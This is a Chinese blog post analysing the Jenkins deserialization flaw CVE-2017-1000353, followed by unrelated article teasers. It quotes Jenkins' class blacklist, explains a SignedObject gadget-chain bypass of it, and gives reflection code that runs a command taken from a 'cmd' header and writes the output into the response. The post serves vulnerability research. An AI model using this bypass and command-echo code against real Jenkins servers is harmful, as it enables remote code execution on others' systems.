漏洞分析|死磕Jenkins漏洞回显与利用效果

news2024/12/22 16:16:06

在这里插入图片描述

0x01 背景

近期我们发起了一个Goby漏洞挑战赛的活动,在活动期间收到了大量的反馈信息,延伸出一系列在编写POC漏洞检测与利用中考虑场景不全的问题,我们针对发现的各种场景用市面上常见的工具进行了一些列的对比工作,发现市面上工具在检测原理与利用流程上普遍存在很多同质化的问题,如漏洞的检查中并未全面的考虑实际被检测的环境情况多样性的问题:包括漏洞本身无回显、目标靶机不出网、系统兼容性差(win,linux)以及产品版本兼容性不高等问题。

本文以Jenkins反序列化漏洞作为优化案例,分享我们的解决漏洞问题的方式。首先,用户反馈了Jenkins 漏洞无法利用的问题。在漏洞分析过程中,发现之前的EXP利用中依赖了一个jar包,由于Goby没有外挂该jar包导致漏洞的无法利用。如果我们重新加入这个jar包的话,会使Goby程序变得臃肿,且这种利用方式没有回显效果,这并不符合Goby简洁高效、多版本兼容性、具有直接的回显效果的漏洞标准。因此,我们通过分析CVE-2017-1000353的相关材料,研究Jenkins的回显功能,最终在Goby上完成了高版本兼容、一键命令执行、反弹shell的效果,让漏洞利用变得更加简洁、直观、高效。

工具/效果修改前修改后
执行命令支持支持
命令回显不支持支持
利用过程第三方工具发包一键命令执行
依赖环境第三方jar包无需
便捷性操作简单操作简单

0x02 漏洞分析

Jenkins cli序列化代码执行漏洞(CVE-2017-1000353)是在cli接口中出现的,当服务端在处理download请求时,会调用download()方法,并等待一个upload请求。在收到upload请求后,将请求内容作为输入流传入到创建的Channel对象中。在创建Channel对象时,会同时创建一个子线程来读取序列化对象,读取对象过程中调用了readObject()方法,从而导致反序列化漏洞的出现。

漏洞是出在cli接口处理响应信息中出现的,当http请求头中的Side的值为download时,会调用 server.download(req,rsp);对请求信息进行处理。

private class CliEndpointResponse extends HttpResponseException {
  @Override
  public void generateResponse(StaplerRequest req, StaplerResponse rsp, Object node) throws IOException, ServletException {
    try {
      UUID uuid = UUID.fromString(req.getHeader("Session"));
      rsp.setHeader("Hudson-Duplex","");
      FullDuplexHttpChannel server;
      if(req.getHeader("Side").equals("download")) {
				......
        try {
          server.download(req,rsp);
        } finally {
          duplexChannels.remove(uuid);
        }
      } else {
        duplexChannels.get(uuid).upload(req,rsp);
      }
    } catch (InterruptedException e) {......}
  }
}

在类的downlod()方法中,首先会挂起等待,用于检测是否成功接收到了upload请求,当从upload请求中读到了内容后,会创建一个Channel对象,在创建Channel对象时会将upload的请求内容传入进去。Channel内部会进行多次this调用。

public synchronized void download(StaplerRequest req, StaplerResponse rsp) throws InterruptedException, IOException {
  ......
  try {
      channel = new Channel("HTTP full-duplex channel " + uuid,
      Computer.threadPoolForRemoting, Mode.BINARY, upload, out, null, restricted);
  ......
  } finally {......}
}

Channel()的一系列this调用后,最终会调用transport.setup()方法,

@Deprecated
public Channel(String name, ExecutorService exec, Mode mode, InputStream is, OutputStream os, OutputStream header, boolean restricted) throws IOException {
  this(name,exec,mode,is,os,header,restricted,null);
}
  ......
protected Channel(ChannelBuilder settings, CommandTransport transport) throws IOException {
  ......
	transport.setup(this, new CommandReceiver() {
        public void handle(Command cmd) {
            commandsReceived++;
            lastCommandReceivedAt = System.currentTimeMillis();
            if (logger.isLoggable(Level.FINE))
                logger.fine("Received " + cmd);
            try {
                cmd.execute(Channel.this);
            } catch (Throwable t) {
                logger.log(Level.SEVERE, "Failed to execute command " + cmd + " (channel " + Channel.this.name + ")", t);
                logger.log(Level.SEVERE, "This command is created here", cmd.createdAt);
            }
        }
    ......
    });
    ACTIVE_CHANNELS.put(this,ref());
}

setup()方法中会通过new ReaderThread(receiver).start();创建一个子线程,

@Override
public void setup(Channel channel, CommandReceiver receiver) {
    this.channel = channel;
    new ReaderThread(receiver).start();
}

线程中会调用ClassicCommandTransport类的read()方法,

@Override
public void run() {
    final String name =channel.getName();
    try {
        while(!channel.isInClosed()) {
            Command cmd = null;
            try {
                cmd = read();
            } catch (SocketTimeoutException ex) {
                if (RDR_FAIL_ON_SOCKET_TIMEOUT) {
                    LOGGER.log(Level.SEVERE, "Socket timeout in the Synchronous channel reader."
                            + " The channel will be interrupted, because " + RDR_SOCKET_TIMEOUT_PROPERTY_NAME 
                            + " is set", ex);
                    throw ex;
                }
            }
            ......
        }
    }
}

该方法中功能包含一个Command类的readFrom()方法,会对传入的字节流进行readObject()操作,从而导致了反序列化代码执行。

public final Command read() throws IOException, ClassNotFoundException {
    try {
        Command cmd = Command.readFrom(channel, ois);
        if (rawIn!=null)
            rawIn.clear();
        return cmd;
    } catch (RuntimeException e) {// see JENKINS-19046
        throw diagnoseStreamCorruption(e);
    } catch (StreamCorruptedException e) {
        throw diagnoseStreamCorruption(e);
    }
}
static Command readFrom(Channel channel, ObjectInputStream ois) throws IOException, ClassNotFoundException {
  Channel old = Channel.setCurrent(channel);
  try {
    return (Command)ois.readObject();
  } finally {
    Channel.setCurrent(old);
  }
}

0x03 漏洞利用

在分析完漏洞原因后,我们需要思考如何构造Payload利用漏洞。由于Jenkins中包含了org.apache.commons.collections依赖项目,我们则就可以尝试用CC链进行反序列化攻击,但在Jenkins的黑名单中禁止了CC链的直接反序列化,则就需要找到一条链绕过黑名单的限制。

3.1 序列化黑名单

在漏洞分析章节中提到,Channel()方法会经过一系列的this调用,该过程中调用了ChannelBuilder类的negotiate()方法,该方法在return时调用了中的makeTransport()方法,返回了一个ClassicCommandTransport对象,在创建该对象过程中,会创建一个ObjectInputStreamEx对象并在传参过程中调用该类的getClassFilter()方法,getClassFilter()方法返回了一个ClassFilter.DEFAULT,ClassFilter.DEFAULT最终会返回了一个定义好的黑名单类列表,其中就包含了CC链中的相关类。

private static final String[] DEFAULT_PATTERNS = {
    "^bsh[.].*",
    "^com[.]google[.]inject[.].*",
    "^com[.]mchange[.]v2[.]c3p0[.].*",
    "^com[.]sun[.]jndi[.].*",
    "^com[.]sun[.]corba[.].*",
    "^com[.]sun[.]javafx[.].*",
    "^com[.]sun[.]org[.]apache[.]regex[.]internal[.].*",
    "^java[.]awt[.].*",
    "^java[.]rmi[.].*",
    "^javax[.]management[.].*",
    "^javax[.]naming[.].*",
    "^javax[.]script[.].*",
    "^javax[.]swing[.].*",
    "^org[.]apache[.]commons[.]beanutils[.].*",
    "^org[.]apache[.]commons[.]collections[.]functors[.].*",
    "^org[.]apache[.]myfaces[.].*",
    "^org[.]apache[.]wicket[.].*",
    ".*org[.]apache[.]xalan.*",
    "^org[.]codehaus[.]groovy[.]runtime[.].*",
    "^org[.]hibernate[.].*",
    "^org[.]python[.].*",
    "^org[.]springframework[.](?!(\\p{Alnum}+[.])*\\p{Alnum}*Exception$).*",
    "^sun[.]rmi[.].*",
    "^javax[.]imageio[.].*",
    "^java[.]util[.]ServiceLoader$",
    "^java[.]net[.]URLClassLoader$"
};

3.2 黑名单绕过

jenkins的黑名单限制了CC链利用的相关类,但SignedObject类没有在黑名单中,SignedObject类在创建对象时可以传入一个序列化类型的对象,并且SignedObject类的getObject()方法中会对传入的序列化对象进行反序列化操作,即调用readObject()方法,这里的readObject()方法并没有对限制CC类的使用,从而可以传入构造的序列化对象进行反序列化恶意执行代码。因此,需要构造一个调用链去调用SignedObject类的getObject()方法的利用链,从而绕过CC链的黑名单的限制,进行反序列化攻击。

3.3 CC利用链绕过的流程

在这里插入图片描述

3.4 Payload分析

在对ReferenceMap类进行反序列化时,会默认调用其readObject方法。

在这里插入图片描述

doReadObject方法对序列化流进行读取,分别复制给key和value,并调用put方法,将其放到一个map中

在这里插入图片描述
在这里插入图片描述

在put方法中,调用了isEqualKey方法对传入的两个key做比较

在这里插入图片描述

由于传入的key是CopyOnWriteArraySet对象因此会调用该对象的equals方法

在这里插入图片描述

CopyOnWriteArraySet.equals()方法中调用了 eq()方法判断传入的两个对象是否相等。

在这里插入图片描述
在这里插入图片描述

由于在处理CopyOnWriteArraySetequals方法中传入的对象是CopyOnWriteArraySet包装的ConcurrentSkipListSet对象和ListOrderedSet对象,因此会调用ConcurrentSkipListSet对象的equals对象将ListOrderedSet对象传入进去。

在这里插入图片描述

在Payload中,由于将ListOrderedSet对象的collection替换成了JSONArray对象。因此在调用containsAll方法中,会调用JSONArray类的containsAll方法对传入的 ConcurrentSkipListSet对象进行处理。

在这里插入图片描述

再经过JSONArray类内部的方法遍历元素,当传入的元素是一个对象时,则就是将其转换成JSON对象并使用PropertyUtils.getProperty()方法获取其中的属性值,在获取属性值的过程中通过反射机制调用了该SignedObject对象的getObject(),完成了CC链的入口点。

在这里插入图片描述

 *   JSONArray.containsAll() ->
 *    JSONArray.containsAll() ->
 *     JSONArray.fromObject() ->
 *      JSONArray._fromCollection() ->
 *       JSONArray.addValue() ->
 *        JSONArray.processValue() ->
 *         JSONArray._processValue() ->
 *          AbstractJSON._processValue() ->
 *           JSONObject.fromObject() ->
 *            JSONObject._fromBean() ->
 *             JSONObject.defaultBeanProcessing() ->
 *              PropertyUtils.getProperty() ->
 *               PropertyUtilsBean.getProperty() ->
 *                PropertyUtilsBean.getNestedProperty() ->
 *                 PropertyUtilsBean.getSimpleProperty() ->
 *                  PropertyUtilsBean.invokeMethod() ->
 *                   SignedObject.getObject() ->

3.5 SignedObject类

SignedObject类的构造方法中传入了一个Serializable类型对象,并将其序列化并保存到了content属性中,在SignedObjectgetObject()方法中对content进行了反序列化操作。

在这里插入图片描述
在这里插入图片描述

3.6 漏洞修复

官方的修复方式是将SingedObejct类加入了黑名单。

在这里插入图片描述

0x04 回显利用

上面我们已经绕过了CC链的黑名单限制,这时,我们就需要思考如何进行漏洞的利用效果,市面上的主流工具如vulhub给出的利用方式是通过jar包生成执行系统命令的序列化对象,但利用过程比较繁琐,无法便捷有效的展示漏洞利用效果。

针对jenkins的http请求和servlet的处理是基于jetty服务器实现的,在jetty服务器的回显马 jetty789Echo.jsp 中给出了jetty的两种回显方式。由于CVE-2017-1000353漏洞在利用过程中创建了channel的特性,并将漏洞的download和upload类型的http请求传入了进去。这时我们就可以通过反射获取这个channel中的http属性,并通过传入http消息头中的某些字段进行读取传入的命令内容将其执行,并将执行结果在写入到响应包中,这样就完成了整个回显过程。

反射获取channel对象中的underlyingOutput属性

Field underlyingOutputField = channel.getClass().getDeclaredField("underlyingOutput");
underlyingOutputField.setAccessible(true);
Object underlyingOutput = underlyingOutputField.get(channel);
Object httpConnection;

underlyingOutput属性的_channelthis$0的属性中保存了http请求响应的相关信息,通过反射获取_channelthis$0的属性并赋值给httpConnection对象

try{
  Field _channelField = underlyingOutput.getClass().getDeclaredField("_channel");
  _channelField.setAccessible(true);
  httpConnection = _channelField.get(underlyingOutput);
  	}catch (Exception e){
  Field connectionField = underlyingOutput.getClass().getDeclaredField("this$0");
  connectionField.setAccessible(true);
  httpConnection = connectionField.get(underlyingOutput);
}

获取到http信息后,再通过反射获取请求头中的命令执行cmd字段的值,并将其执行,写入到响应中。

Object request = httpConnection.getClass().getMethod("getRequest").invoke(httpConnection);
Object response = httpConnection.getClass().getMethod("getResponse").invoke(httpConnection);
String cmd = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "cmd");
OutputStream outputStream = (OutputStream)response.getClass().getMethod("getOutputStream").invoke(response);
String result = "\n"+exec(cmd);
outputStream.write(result.getBytes());
outputStream.flush();

在这里插入图片描述

这些技术都集成在了Goby上,在Goby上就可以体验到CVE-2017-1000353漏洞一键命令执行、反弹shell的功能。

0x05 效果对比

工具/效果GobyCVE-2017-1000353-SNAPSHOT-all.jar
执行命令支持支持
命令回显支持不支持
利用过程一键命令执行手工生成序列化数据包,执行脚本发送payload
依赖环境无需java、python
便捷性操作简单操作繁琐

最后感谢 @irelia 师傅的漏洞问题反馈,已奖励红队版15天。我们期待更多师傅真诚反馈产品问题,这对 Goby 的进步至关重要。可加入微信群:公众号发暗号“加群”。

0x06 参考

https://github.com/vulhub/CVE-2017-1000353

https://github.com/r00t4dm/Jenkins-CVE-2017-1000353

https://paper.seebug.org/295/

https://github.com/feihong-cs/Java-Rce-Echo



Goby 欢迎表哥/表姐们加入我们的社区大家庭,一起交流技术、生活趣事、奇闻八卦,结交无数白帽好友。

也欢迎投稿到 Goby(Goby 介绍/扫描/口令爆破/漏洞利用/插件开发/ PoC 编写/ IP 库使用场景/ Webshell /漏洞分析 等文章均可),审核通过后可奖励 Goby 红队版,快来加入微信群体验吧~~~

文章来自Goby社区成员:14m3ta7k@白帽汇安全研究院,转载请注明出处。
微信群:公众号发暗号“加群”,参与积分商城、抽奖等众多有趣的活动

获取版本:https://gobysec.net/sale

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/695474.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

前端-vue-对打包的静态文件进行压缩

通过 npm run build 打包时候,会发现静态文件很大,放在nginx服务中访问页面会很慢,所以可在打包过程中对静态文件再压缩。 对js、css、html等文件进行压缩: 安装插件 “compression-webpack-plugin” 。(我本地版本:…

leecode-字符串解码-栈

题目 题目链接 分析 用两个栈存储数字、字符串的情况 如果遇到[&#xff0c;就入栈&#xff0c;遇到]就按照数字把字符串出栈&#xff0c;并构造出新的字符串赋给res。 一步步内部解码。 代码 class Solution { public:string decodeString(string s) {stack<int> …

【自监督论文阅读 4】BYOL

文章目录 一、摘要二、引言三、相关工作四、方法4.1 BYOL的描述4.2 Intuitions on BYOL’s behavior&#xff08;BYOL行为的直觉&#xff09;4.3 实验细节 五、实验评估5.1 Linear evaluation on ImageNet&#xff08;ImageNet上的线性评估&#xff09;5.2 Semi-supervised tra…

宝塔面板 - 如何通过宝塔面板设置服务器禁止 Ping?

问题描述 在介绍如何通过宝塔面板设置服务器禁止ping之前&#xff0c;我们先来简单了解一下什么是ping。 Ping 可用于测试网络上IP系统的可用性&#xff0c;也可用于通过监控往返时间和数据包丢失&#xff0c;来测试网络连接的质量。ping 也可以用于识别网络子网&#xff0c;…

数字孪生和GIS结合将为智慧园区带来什么样的改变?

数字孪生和地理信息系统&#xff08;GIS&#xff09;是当今智慧园区发展中的两个重要技术&#xff0c;它们的结合将为智慧园区带来根本性的改变和巨大的发展机遇。这种结合将深刻影响园区的规划、建设、运营和管理&#xff0c;为人们创造更智能、高效、可持续的生活环境。 首先…

真的不想知道文字转语音真人发声免费有哪些软件吗

曾经有一个盲人作家&#xff0c;他热爱写作却无法看到自己的文字成品。直到有一天&#xff0c;他听说了一款文字转语音的软件&#xff0c;可以将他的文字转化为声音&#xff0c;让他能够听到自己的作品。这则故事令我们体会到文字转语音这项技术的重要性。那么&#xff0c;你知…

【⑤MySQL函数】:让你的数据库操作更高效(二)

前言 ✨欢迎来到小K的MySQL专栏&#xff0c;本节将为大家带来MySQL日期时间、条件判断、系统信息、加密、进制转换和IP地址转换函数的讲解✨ 目录 前言一、日期和时间函数二、条件判断函数三、系统信息函数四、加密函数五、进制转换函数六、IP地址转换函数七、总结 一、日期和时…

韦纳VeighNa(VNPY)新手入门到写策略

韦纳VeighNa&#xff08;VNPY&#xff09;新手入门到写策略 1.VeighNa终端如何登录交易&#xff1f;勾选好相应接口和功能启动后在哪输入账号&#xff1f;2.在哪开发策略&#xff1f;策略文件夹在哪&#xff1f;3.如何写策略&#xff1f;如何开发策略&#xff1f;4.有策略模板吗…

离线语音识别芯片IC方案,打造智能眼部按摩仪WTK6900H-C-24SS

随着科技的不断进步&#xff0c;智能化产品已经成为人们日常生活中的一部分。眼部按摩仪作为舒缓眼部疲劳的利器&#xff0c;如今更是加入了离线语音识别芯片IC方案&#xff0c;让使用体验更加智能化、便捷化&#xff0c;WTK6900H-C-24SS离线语音识别芯片IC方案&#xff0c;将为…

Tomcat 8.5 环境搭建指南

文章目录 导言环境搭建总结 导言 欢迎阅读本篇博客&#xff0c;本文将为您提供关于如何搭建Tomcat 8.5环境的详细指南。Tomcat是一个流行的开源Java Servlet容器&#xff0c;它提供了一个运行Java Web应用程序的平台。无论您是新手还是有经验的开发人员&#xff0c;本文都将帮…

Selenium教程__使用switch_to.alert处理弹窗(14)

与switch_to.window 和 switch_to.frame 相比&#xff0c;switch_to.alert的alert方法使用了property 装饰器&#xff0c;所以在使用时alert被当成属性调用。 演示如下 from selenium import webdriverdriver webdriver.Chrome() driver.maximize_window() driver.get("…

推荐一个好用的Python词云展示库-wordcloud

目录标题 前言1.介绍2.使用说明尾语 前言 嗨喽~大家好呀&#xff0c;这里是魔王呐 ❤ ~! 1.介绍 wordcloud是优秀的词云展示第三方库&#xff0c;wordcloud能够将一段文本变成一个词云。 词云就是将词语通过图形可视化的方式&#xff0c;直观和艺术的展示出来。词云在我们的…

Word模板替换,并转PDF格式输出

Poi-tl参考文档地址&#xff1a;http://deepoove.com/poi-tl/1.8.x/#hack-loop-table word模板替换&#xff0c;转pdf 1. 依赖引入&#xff1a;2. word模板配置&#xff1a;3. 示例demo:4 . 效果图 1. 依赖引入&#xff1a; <dependency><groupId>org.apache.poi&…

Unity3D:在 Inspector 中操作

推荐&#xff1a;将 NSDT场景编辑器 加入你的3D工具链 3D工具集&#xff1a; NSDT简石数字孪生 在 Inspector 中操作 本页面描述了一些用于控制 Inspector 窗口本身的选项。有关设置游戏对象、脚本和资源的属性的信息&#xff0c;请参阅编辑属性。 Lock the Inspector 通常&…

网络安全零基础学习路线

一&#xff0c;怎么入门&#xff1f; 1、Web 安全相关概念&#xff08;2 周&#xff09; 了解网络安全相关法律法规 熟悉基本概念&#xff08;SQL 注入、上传、XSS、CSRF、一句话木马等&#xff09;。 通过关键字&#xff08;SQL 注入、上传、XSS、CSRF、一句话木马等&#…

C. Robot Collisions(暑期集训)

原题链接 题意&#xff1a; 有n个机器人在OX轴上运动&#xff0c;运动范围为[0,m]。 第i个机器人开始位于xi的位置&#xff0c;然后以1单位距离每秒的速度向左或向右运动&#xff0c;当其运动到0点或m点时会调转方向。 如果任意时刻多于一个机器人在同一整数位置&#xff0c;…

【硬件自动化测试--测试软件的设计及实现】测试框架设计及实现!

如何设计并实现自动化框架? 首先,需要了解我们的产品,需要做哪些测试,如有很多硬件产品的测试中,需要用到示波器、频谱仪、信号源等等一系列的仪器,仪器的型号也各有不同,所以在设计框架之前,一定得了解我们的产品。 那么,就以一台服务器为例子,基带部分的测试,包括…

酷开系统 |酷开科技持续创造大屏生命力

在这个信息爆炸的时代&#xff0c;人们对于互联网和智能生活的需求&#xff0c;不再局限于碎片化或工作场景&#xff0c;更多的是延伸至连续化的家庭化使用环境。而智能大屏作为互联网时代下的产物&#xff0c;融合了互联网流媒体的数据处理方式&#xff0c;深受年轻人的青睐&a…

牛客·矩阵取数游戏

矩阵取数游戏 这里我们推一下这个题的精髓&#xff1a; dp[i][j]max(int(b[c][i])dp[i1][j],dp[i][j-1]int(b[c][j])) dp[i][j]2*dp[i][j]假定某一行有两个数x,y; 那么我们有两种选择&#xff1a; 先拿x&#xff0c;再拿y&#xff1a;x*2y*4&#xff1b; 先拿y&#xff0c;再…

Rust in Action笔记 第八章 网络

P253的图展示了网络各层用到的协议Box<dyn std::error::Error>表示一个指针指向的实现了标准错误库的类型&#xff0c;dyn表明这是一个特征对象&#xff08;trait object&#xff09;&#xff0c;是rust里多态的一种实现方式&#xff1b;特征对象和模板对象&#xff08;g…